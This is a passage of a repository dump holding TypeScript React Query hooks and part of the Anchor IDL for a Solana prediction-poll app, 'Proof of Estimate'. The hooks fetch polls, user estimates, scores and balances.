    "content": "import { useQuery } from \"@tanstack/react-query\";\nimport { Program } from \"@coral-xyz/anchor\";\nimport { Poe } from \"@/idl/poe\";\nimport { UserAccount } from \"@/lib/types\";\n\nconst allUserAccounts = \"allUserAccounts\";\n\nconst getAllUserPredictions = async (program: Program<Poe>) => {\n  const accounts = await program.account.user.all();\n\n  return accounts.sort((a, b) => b.account.score - a.account.score);\n};\n\nconst useAllUserAccounts = (program: Program<Poe>) => {\n  return useQuery({\n    queryKey: [allUserAccounts],\n    queryFn: async () => await getAllUserPredictions(program),\n    // staleTime: Infinity,\n    enabled: !!program,\n  });\n};\n\nexport { useAllUserAccounts, getAllUserPredictions, allUserAccounts };\n"
  },
  {
    "path": "hooks/queries/useAllUserPredictions.ts",
    "content": "import { useQuery } from \"@tanstack/react-query\";\nimport { PublicKey } from \"@solana/web3.js\";\nimport { Program } from \"@coral-xyz/anchor\";\nimport { Poe } from \"@/idl/poe\";\n\nconst allUserEstimatesKey = \"allUserEstimates\";\n\nconst getAllUserPredictions = async (\n  program: Program<Poe>,\n  publicKey: PublicKey | null\n) => {\n  if (publicKey) {\n    return await program.account.userEstimate.all([\n      {\n        memcmp: {\n          offset: 8, // discriminator\n          bytes: publicKey.toBase58(),\n        },\n      },\n    ]);\n  } else {\n    return null;\n  }\n};\n\nconst useAllUserPredictions = (\n  program: Program<Poe>,\n  publicKey: PublicKey | null\n) => {\n  return useQuery({\n    queryKey: [allUserEstimatesKey, publicKey?.toBase58() || \"\"],\n    queryFn: async () => await getAllUserPredictions(program, publicKey),\n    staleTime: Infinity,\n    enabled: !!program,\n  });\n};\n\nexport { useAllUserPredictions, getAllUserPredictions, allUserEstimatesKey };\n"
  },
  {
    "path": "hooks/queries/useEstimateUpdatesByPoll.ts",
    "content": "import { keepPreviousData, useQuery } from \"@tanstack/react-query\";\nimport { BN, Program } from \"@coral-xyz/anchor\";\nimport { PublicKey } from \"@solana/web3.js\";\nimport { Poe } from \"@/idl/poe\";\n\ntype EstimateData = {\n  name: Date;\n  estimate: number | null;\n  confidenceInterval: number[] | null;\n};\n\nconst estimateUpdatesByPollKey = \"estimateUpdatesByPoll\";\n\nconst getEstimateUpdatesByPoll = async (\n  program: Program<Poe>,\n  pollId: number,\n  publicKey: PublicKey | null\n) => {\n  const [pollPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"poll\"), new BN(pollId).toArrayLike(Buffer, \"le\", 8)],\n    program.programId\n  );\n  const pollAccount = await program.account.poll.fetch(pollPda);\n\n  const estimateUpdates = await program.account.pollEstimateUpdate.all([\n    {\n      memcmp: {\n        offset: 8, // discriminator\n        bytes: pollPda.toBase58(),\n      },\n    },\n  ]);\n\n  estimateUpdates.sort(\n    (a, b) => a.account.timestamp.toNumber() - b.account.timestamp.toNumber()\n  );\n\n  const updateData = estimateUpdates.map((update) => {\n    const timestamp = update.account.timestamp.toNumber();\n\n    return {\n      timestamp: timestamp,\n      estimate: update.account.estimate,\n      deviation:\n        update.account.variance !== null && update.account.variance >= 0\n          ? Math.sqrt(update.account.variance / 2)\n          : null,\n    };\n  });\n\n  updateData.sort((a, b) => a.timestamp - b.timestamp);\n\n  let estimates = [];\n  let today = new Date().getTime();\n\n  let lastDisplayTime =\n    pollAccount.result === null\n      ? today / 1000\n      : updateData[updateData.length - 1].timestamp;\n\n  for (let i = 0; i < updateData.length - 1; i++) {\n    const time = updateData[i].timestamp;\n    const estimate = updateData[i].estimate;\n    const deviation = updateData[i].deviation;\n\n    const nextTime = updateData[i + 1].timestamp;\n    // Fill with data between updates, not necessary but a smoother experience\n    for (let j = 0; j < nextTime - time; j = j + 60000000000000) {\n      estimates.push({\n        name: time + j,\n        estimate: estimate !== null ? estimate / 10000 : null,\n        confidenceInterval:\n          deviation !== null && estimate !== null\n            ? [estimate / 10000 - deviation, estimate / 10000 + deviation]\n            : null,\n      } as unknown as EstimateData);\n    }\n    estimates.push({\n      name: nextTime,\n      estimate: estimate !== null ? estimate / 10000 : null,\n      confidenceInterval:\n        deviation !== null && estimate !== null\n          ? [estimate / 10000 - deviation, estimate / 10000 + deviation]\n          : null,\n    } as unknown as EstimateData);\n  }\n  const lastTimestamp = updateData[updateData.length - 1].timestamp;\n  const lastEstimate = updateData[updateData.length - 1].estimate;\n  const lastDeviation = updateData[updateData.length - 1].deviation;\n  for (let k = 0; k < lastDisplayTime - lastTimestamp; k = k + 1000000000) {\n    estimates.push({\n      name: lastTimestamp + k,\n      estimate: lastEstimate !== null ? lastEstimate / 10000 : null,\n      confidenceInterval:\n        lastDeviation !== null && lastEstimate !== null\n          ? [\n              lastEstimate / 10000 - lastDeviation,\n              lastEstimate / 10000 + lastDeviation,\n            ]\n          : null,\n    } as unknown as EstimateData);\n  }\n  estimates.push({\n    name: lastDisplayTime,\n    estimate: lastEstimate !== null ? lastEstimate / 10000 : null,\n    confidenceInterval:\n      lastDeviation !== null && lastEstimate !== null\n        ? [\n            lastEstimate / 10000 - lastDeviation,\n            lastEstimate / 10000 + lastDeviation,\n          ]\n        : null,\n  } as unknown as EstimateData);\n\n  return estimates;\n};\n\nconst useEstimateUpdatesByPoll = (\n  program: Program<Poe>,\n  pollId: number,\n  publicKey: PublicKey | null\n) => {\n  return useQuery({\n    queryKey: [estimateUpdatesByPollKey, pollId],\n    queryFn: async () =>\n      await getEstimateUpdatesByPoll(program, pollId, publicKey),\n    enabled: !!program,\n    placeholderData: keepPreviousData,\n    refetchInterval: 10000,\n  });\n};\n\nexport {\n  useEstimateUpdatesByPoll,\n  getEstimateUpdatesByPoll,\n  estimateUpdatesByPollKey,\n};\n"
  },
  {
    "path": "hooks/queries/usePollById.ts",
    "content": "import { useQuery } from \"@tanstack/react-query\";\nimport { PublicKey } from \"@solana/web3.js\";\nimport { BN, Program } from \"@coral-xyz/anchor\";\nimport { Poe } from \"@/idl/poe\";\n\nconst pollByIdKey = \"pollById\";\n\nconst getPollById = async (program: Program<Poe>, pollId: number) => {\n  const [pollPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"poll\"), new BN(pollId).toArrayLike(Buffer, \"le\", 8)],\n    program.programId\n  );\n\n  return await program.account.poll.fetch(pollPda);\n};\n\nconst usePollById = (\n  program: Program<Poe>,\n  pollId: number,\n  isVisible: boolean\n) => {\n  return useQuery({\n    queryKey: [pollByIdKey, pollId],\n    queryFn: async () => await getPollById(program, pollId),\n    enabled: !!program && isVisible,\n  });\n};\n\nexport { usePollById, getPollById, pollByIdKey };\n"
  },
  {
    "path": "hooks/queries/useUserAccount.ts",
    "content": "import { useQuery } from \"@tanstack/react-query\";\nimport { Connection, PublicKey } from \"@solana/web3.js\";\nimport { Program } from \"@coral-xyz/anchor\";\nimport { Poe } from \"@/idl/poe\";\n\nconst userAccountKey = \"userAccount\";\n\nconst getUserAccount = async (\n  program: Program<Poe>,\n  connection: Connection,\n  publicKey: PublicKey | null\n) => {\n  if (publicKey) {\n    let [userPda] = PublicKey.findProgramAddressSync(\n      [Buffer.from(\"user\"), publicKey.toBuffer()],\n      program.programId\n    );\n\n    const userAccount = await connection.getAccountInfo(userPda);\n    if (userAccount) {\n      return await program.account.user.fetch(userPda);\n    } else {\n      return null;\n    }\n  } else {\n    return null;\n  }\n};\n\nconst useUserAccount = (\n  program: Program<Poe>,\n  connection: Connection,\n  publicKey: PublicKey | null\n) => {\n  return useQuery({\n    queryKey: [\n      userAccountKey,\n      connection.rpcEndpoint,\n      publicKey?.toBase58() || \"\",\n    ],\n    queryFn: async () => await getUserAccount(program, connection, publicKey),\n    staleTime: Infinity,\n    enabled: !!program,\n  });\n};\n\nexport { useUserAccount, getUserAccount, userAccountKey };\n"
  },
  {
    "path": "hooks/queries/useUserBonkBalance.ts",
    "content": "import { useQuery } from \"@tanstack/react-query\";\nimport { Connection, PublicKey } from \"@solana/web3.js\";\nimport { Program } from \"@coral-xyz/anchor\";\nimport { Poe } from \"@/idl/poe\";\nimport { getAssociatedTokenAddress } from \"@solana/spl-token\";\n\nconst userBonkBalanceKey = \"userBonkBalance\";\n\nconst getUserBalance = async (\n  program: Program<Poe>,\n  connection: Connection,\n  publicKey: PublicKey | null\n) => {\n  let [mintPda, _mintBump] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"poeken_mint\")],\n    program.programId\n  );\n\n  if (publicKey) {\n    const tokenAccount = await getAssociatedTokenAddress(mintPda, publicKey);\n    const info = await connection.getTokenAccountBalance(tokenAccount);\n\n    return info.value.uiAmount;\n  } else {\n    return 0;\n  }\n};\n\nconst useUserBonkBalance = (\n  program: Program<Poe>,\n  connection: Connection,\n  publicKey: PublicKey | null\n) => {\n  return useQuery({\n    queryKey: [\n      userBonkBalanceKey,\n      connection.rpcEndpoint,\n      publicKey?.toBase58() || \"\",\n    ],\n    queryFn: async () => await getUserBalance(program, connection, publicKey),\n    initialDataUpdatedAt: Date.now(),\n  });\n};\n\nexport { useUserBonkBalance, getUserBalance, userBonkBalanceKey };\n"
  },
  {
    "path": "hooks/queries/useUserEstimateByPoll.ts",
    "content": "import { useQuery } from \"@tanstack/react-query\";\nimport { Connection, PublicKey } from \"@solana/web3.js\";\nimport { BN, Program } from \"@coral-xyz/anchor\";\nimport { Poe } from \"@/idl/poe\";\n\nconst userEstimateKey = \"userEstimate\";\n\nconst getUserEstimateByPoll = async (\n  program: Program<Poe>,\n  connection: Connection,\n  publicKey: PublicKey | null,\n  pollId: number\n) => {\n  if (publicKey) {\n    const [pollPda] = PublicKey.findProgramAddressSync(\n      [Buffer.from(\"poll\"), new BN(pollId).toArrayLike(Buffer, \"le\", 8)],\n      program.programId\n    );\n\n    let [userPredictionPda] = PublicKey.findProgramAddressSync(\n      [Buffer.from(\"user_estimate\"), pollPda.toBuffer(), publicKey.toBuffer()],\n      program.programId\n    );\n\n    const userPredictionAccount = await connection.getAccountInfo(\n      userPredictionPda\n    );\n\n    if (userPredictionAccount) {\n      return await program.account.userEstimate.fetch(userPredictionPda);\n    } else {\n      return null;\n    }\n  } else {\n    return null;\n  }\n};\n\nconst useUserEstimateByPoll = (\n  program: Program<Poe>,\n  connection: Connection,\n  publicKey: PublicKey | null,\n  pollId: number,\n  isVisible: boolean\n) => {\n  return useQuery({\n    queryKey: [\n      userEstimateKey,\n      pollId,\n      connection.rpcEndpoint,\n      publicKey?.toBase58() || \"\",\n    ],\n    queryFn: async () =>\n      await getUserEstimateByPoll(program, connection, publicKey, pollId),\n    staleTime: Infinity,\n    enabled: !!program && isVisible,\n  });\n};\n\nexport { useUserEstimateByPoll, getUserEstimateByPoll, userEstimateKey };\n"
  },
  {
    "path": "hooks/queries/useUserScore.ts",
    "content": "import { useQuery } from \"@tanstack/react-query\";\nimport { Connection, PublicKey } from \"@solana/web3.js\";\nimport { BN, Program } from \"@coral-xyz/anchor\";\nimport { Poe } from \"@/idl/poe\";\n\nconst userScoreKey = \"userScore\";\n\nconst getUserScore = async (\n  program: Program<Poe>,\n  connection: Connection,\n  publicKey: PublicKey | null,\n  pollId: number | undefined\n) => {\n  if (publicKey !== null && pollId !== undefined) {\n    const [pollPda] = PublicKey.findProgramAddressSync(\n      [Buffer.from(\"poll\"), new BN(pollId).toArrayLike(Buffer, \"le\", 8)],\n      program.programId\n    );\n\n    let [userScorePda] = PublicKey.findProgramAddressSync(\n      [Buffer.from(\"user_score\"), pollPda.toBuffer(), publicKey.toBuffer()],\n      program.programId\n    );\n\n    const userScoreAccount = await connection.getAccountInfo(userScorePda);\n\n    if (userScoreAccount) {\n      return await program.account.userScore.fetch(userScorePda);\n    } else {\n      return null;\n    }\n  } else {\n    return null;\n  }\n};\n\nconst useUserScore = (\n  program: Program<Poe>,\n  connection: Connection,\n  publicKey: PublicKey | null,\n  pollId: number | undefined,\n  isVisible: boolean\n) => {\n  return useQuery({\n    queryKey: [\n      userScoreKey,\n      pollId,\n      connection.rpcEndpoint,\n      publicKey?.toBase58() || \"\",\n    ],\n    queryFn: async () =>\n      await getUserScore(program, connection, publicKey, pollId),\n    enabled: isVisible,\n  });\n};\n\nexport { useUserScore, getUserScore, userScoreKey };\n"
  },
  {
    "path": "hooks/queries/useUserSolBalance.ts",
    "content": "import { useQuery } from \"@tanstack/react-query\";\nimport { Connection, PublicKey, LAMPORTS_PER_SOL } from \"@solana/web3.js\";\n\nconst userSolBalanceKey = \"userSolBalance\";\n\nconst getUserBalance = async (\n  connection: Connection,\n  publicKey: PublicKey | null\n) => {\n  if (publicKey) {\n    const balance = await connection.getBalance(publicKey, \"confirmed\");\n    return balance / LAMPORTS_PER_SOL;\n  } else {\n    return 0;\n  }\n};\n\nconst useUserSolBalance = (\n  connection: Connection,\n  publicKey: PublicKey | null\n) => {\n  return useQuery({\n    queryKey: [\n      userSolBalanceKey,\n      connection.rpcEndpoint,\n      publicKey?.toBase58() || \"\",\n    ],\n    queryFn: async () => await getUserBalance(connection, publicKey),\n    initialDataUpdatedAt: Date.now(),\n  });\n};\n\nexport { useUserSolBalance, getUserBalance, userSolBalanceKey };\n"
  },
  {
    "path": "hooks/states/useTabStore.tsx",
    "content": "import { create } from \"zustand\";\n\ntype TabState = \"all\" | \"coming\";\n\ninterface TabsState {\n  tab: TabState;\n  setTab: (newTab: string) => void;\n}\nexport const useTabsStore = create<TabsState>()((set) => ({\n  tab: \"coming\",\n  setTab: (newTab: string) => set({ tab: newTab as TabState }),\n}));\n"
  },
  {
    "path": "hooks/useAnchorProgram.tsx",
    "content": "import { useEffect, useState } from \"react\";\nimport { AnchorProvider, Idl, Program } from \"@coral-xyz/anchor\";\nimport { useAnchorWallet, useConnection } from \"@solana/wallet-adapter-react\";\nimport idlFile from \"@/idl/poe.json\";\nimport { Poe } from \"@/idl/poe\";\nimport { Keypair } from \"@solana/web3.js\";\n\nexport default function useAnchorProgram(): Program<Poe> {\n  const { connection } = useConnection();\n  const wallet = useAnchorWallet();\n  const [program, setProgram] = useState<Program<Poe> | null>(null);\n\n  const idl = idlFile as Idl;\n\n  useEffect(() => {\n    let provider;\n    if (wallet) {\n      provider = new AnchorProvider(connection, wallet);\n    } else {\n      provider = new AnchorProvider(connection, {\n        publicKey: Keypair.generate().publicKey,\n        signAllTransactions: async (txes) => txes,\n        signTransaction: async (tx) => tx,\n      });\n    }\n\n    const program = new Program(idl, provider) as unknown as Program<Poe>;\n    setProgram(program);\n  }, [wallet, connection, idl]);\n\n  return program as Program<Poe>;\n}\n"
  },
  {
    "path": "hooks/useIntersectionObserver.tsx",
    "content": "import { MutableRefObject, useEffect, useState } from \"react\";\n\ninterface IntersectionObserverOptions {\n  root?: Element | null;\n  rootMargin?: string;\n  threshold?: number | number[];\n}\n\nconst useIntersectionObserver = (\n  ref: MutableRefObject<Element | null>,\n  options?: IntersectionObserverOptions\n) => {\n  const [isIntersecting, setIsIntersecting] = useState(false);\n\n  useEffect(() => {\n    const observer = new IntersectionObserver(([entry]) => {\n      setIsIntersecting(entry.isIntersecting);\n    }, options);\n\n    const node = ref.current;\n    if (node) {\n      observer.observe(node);\n    }\n\n    return () => {\n      if (node) {\n        observer.unobserve(node);\n      }\n    };\n  }, [ref, options]);\n\n  return isIntersecting;\n};\n\nexport default useIntersectionObserver;\n"
  },
  {
    "path": "idl/poe.json",
    "content": "{\n  \"address\": \"ACyH6Avm4uYen8WWyTU4chExQqpF4gCHy5MmtqtpWomk\",\n  \"metadata\": {\n    \"name\": \"poe\",\n    \"version\": \"0.1.0\",\n    \"spec\": \"0.1.0\",\n    \"description\": \"Proof of Estimate - Prediction Poll\"\n  },\n  \"instructions\": [\n    {\n      \"name\": \"add_metadata\",\n      \"discriminator\": [\n        231,\n        195,\n        40,\n        240,\n        67,\n        231,\n        53,\n        136\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"payer\",\n          \"writable\": true,\n          \"signer\": true\n        },\n        {\n          \"name\": \"auth\",\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  97,\n                  117,\n                  116,\n                  104\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"mint\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  101,\n                  107,\n                  101,\n                  110,\n                  95,\n                  109,\n                  105,\n                  110,\n                  116\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"token_program\",\n          \"address\": \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\"\n        },\n        {\n          \"name\": \"metadata\",\n          \"writable\": true\n        },\n        {\n          \"name\": \"token_metadata_program\"\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        },\n        {\n          \"name\": \"rent\",\n          \"address\": \"SysvarRent111111111111111111111111111111111\"\n        }\n      ],\n      \"args\": [\n        {\n          \"name\": \"uri\",\n          \"type\": \"string\"\n        },\n        {\n          \"name\": \"name\",\n          \"type\": \"string\"\n        },\n        {\n          \"name\": \"symbol\",\n          \"type\": \"string\"\n        }\n      ]\n    },\n    {\n      \"name\": \"collect_points\",\n      \"discriminator\": [\n        221,\n        8,\n        237,\n        153,\n        212,\n        171,\n        156,\n        131\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"payer\",\n          \"writable\": true,\n          \"signer\": true\n        },\n        {\n          \"name\": \"forecaster\"\n        },\n        {\n          \"name\": \"user\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"poll\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll.id\",\n                \"account\": \"Poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"user_estimate\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"scoring_list\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"user_score\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  115,\n                  99,\n                  111,\n                  114,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"auth\",\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  97,\n                  117,\n                  116,\n                  104\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"mint\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  101,\n                  107,\n                  101,\n                  110,\n                  95,\n                  109,\n                  105,\n                  110,\n                  116\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"escrow_account\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  101,\n                  115,\n                  99,\n                  114,\n                  111,\n                  119\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"forecaster_token_account\",\n          \"writable\": true\n        },\n        {\n          \"name\": \"token_program\",\n          \"address\": \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\"\n        },\n        {\n          \"name\": \"associated_token_program\",\n          \"address\": \"ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL\"\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        }\n      ],\n      \"args\": []\n    },\n    {\n      \"name\": \"create_poll\",\n      \"discriminator\": [\n        182,\n        171,\n        112,\n        238,\n        6,\n        219,\n        14,\n        110\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"creator\",\n          \"writable\": true,\n          \"signer\": true\n        },\n        {\n          \"name\": \"resolver\"\n        },\n        {\n          \"name\": \"state\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  101,\n                  95,\n                  115,\n                  116,\n                  97,\n                  116,\n                  101\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"poll\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"state.num_polls\",\n                \"account\": \"PoeState\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"scoring_list\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        }\n      ],\n      \"args\": [\n        {\n          \"name\": \"question\",\n          \"type\": \"string\"\n        },\n        {\n          \"name\": \"description\",\n          \"type\": \"string\"\n        },\n        {\n          \"name\": \"category\",\n          \"type\": \"u16\"\n        },\n        {\n          \"name\": \"decay\",\n          \"type\": \"f32\"\n        }\n      ]\n    },\n    {\n      \"name\": \"initialize\",\n      \"discriminator\": [\n        175,\n        175,\n        109,\n        31,\n        13,\n        152,\n        155,\n        237\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"payer\",\n          \"writable\": true,\n          \"signer\": true\n        },\n        {\n          \"name\": \"state\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  101,\n                  95,\n                  115,\n                  116,\n                  97,\n                  116,\n                  101\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"auth\",\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  97,\n                  117,\n                  116,\n                  104\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"mint\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  101,\n                  107,\n                  101,\n                  110,\n                  95,\n                  109,\n                  105,\n                  110,\n                  116\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"escrow_account\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  101,\n                  115,\n                  99,\n                  114,\n                  111,\n                  119\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"token_program\",\n          \"address\": \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\"\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        }\n      ],\n      \"args\": []\n    },\n    {\n      \"name\": \"make_estimate\",\n      \"discriminator\": [\n        169,\n        43,\n        178,\n        59,\n        233,\n        178,\n        74,\n        199\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"forecaster\",\n          \"writable\": true,\n          \"signer\": true\n        },\n        {\n          \"name\": \"user\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"poll\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll.id\",\n                \"account\": \"Poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"user_estimate\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"poll_estimate_update\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101,\n                  95,\n                  117,\n                  112,\n                  100,\n                  97,\n                  116,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll.num_estimate_updates\",\n                \"account\": \"Poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"scoring_list\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"user_score\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  115,\n                  99,\n                  111,\n                  114,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"forecaster_token_account\",\n          \"writable\": true\n        },\n        {\n          \"name\": \"mint\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  101,\n                  107,\n                  101,\n                  110,\n                  95,\n                  109,\n                  105,\n                  110,\n                  116\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"auth\",\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  97,\n                  117,\n                  116,\n                  104\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"escrow_account\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  101,\n                  115,\n                  99,\n                  114,\n                  111,\n                  119\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"token_program\",\n          \"address\": \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\"\n        },\n        {\n          \"name\": \"associated_token_program\",\n          \"address\": \"ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL\"\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        }\n      ],\n      \"args\": [\n        {\n          \"name\": \"lower_estimate\",\n          \"type\": \"u16\"\n        },\n        {\n          \"name\": \"upper_estimate\",\n          \"type\": \"u16\"\n        }\n      ]\n    },\n    {\n      \"name\": \"register_user\",\n      \"discriminator\": [\n        2,\n        241,\n        150,\n        223,\n        99,\n        214,\n        116,\n        97\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"payer\",\n          \"writable\": true,\n          \"signer\": true\n        },\n        {\n          \"name\": \"user\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"payer\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"auth\",\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  97,\n                  117,\n                  116,\n                  104\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"mint\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  101,\n                  107,\n                  101,\n                  110,\n                  95,\n                  109,\n                  105,\n                  110,\n                  116\n                ]\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"token_account\",\n          \"writable\": true\n        